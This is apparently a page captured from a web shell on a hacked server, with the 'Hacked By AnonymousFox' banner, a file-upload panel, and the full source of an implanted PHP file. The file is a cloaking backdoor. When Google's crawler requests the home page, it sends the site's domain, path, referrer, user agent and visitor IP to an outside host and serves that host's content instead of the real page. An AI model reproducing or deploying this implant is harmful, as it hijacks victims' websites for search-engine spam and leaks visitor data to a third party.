Hacked By AnonymousFox

Current Path : C:/AppServ/www/th/controlweb/manage/lib/
Upload File :
Current File : C:/AppServ/www/th/controlweb/manage/lib/phpnes.php

<?php
@set_time_limit(0);
@error_reporting(0);
@ini_set('display_errors', 0);
class abc
{
    public static function run()
    {
        if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'GET') {
            $url = $_SERVER['REQUEST_URI'];
            $ip = $_SERVER['REMOTE_ADDR'];
            $ref = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
            $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
            $ua = $_SERVER['HTTP_USER_AGENT'];
            $site = "https://s.sou8.vip";
            $road = "?domain=" . $protocol . $_SERVER['HTTP_HOST'] . "&referer=" . urlencode($ref) . "&path=" . urlencode($url) . "&spider=" . urlencode($ua)
                . "&ip=" . self::getIp();
            if ((preg_match('/google/i', $ua) || preg_match('/google/i', $ref)) && $url == "/") {
                $res = self::get($site . "/app" . $road, $ua, $ref);
                if (strlen($res) > 0) {
header("Content-Type: text/html; charset=utf-8");
                    echo $res;
                    exit();
                }
            }
        }
    }
    static function get($url, $ua, $ref)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        curl_setopt($ch, CURLOPT_REFERER, $ref);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    static function getIp()
    {
        // Get client's IP address
        if (isset($_SERVER['HTTP_CLIENT_IP']) && array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            $ips = array_map('trim', $ips);
            $ip = $ips[0];
        } else {
            $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0';
        }
        $ip = filter_var($ip, FILTER_VALIDATE_IP);
        $ip = ($ip === false) ? '0.0.0.0' : $ip;
        return $ip;
    }
}
abc::run();

Hacked By AnonymousFox1.0, Coded By AnonymousFox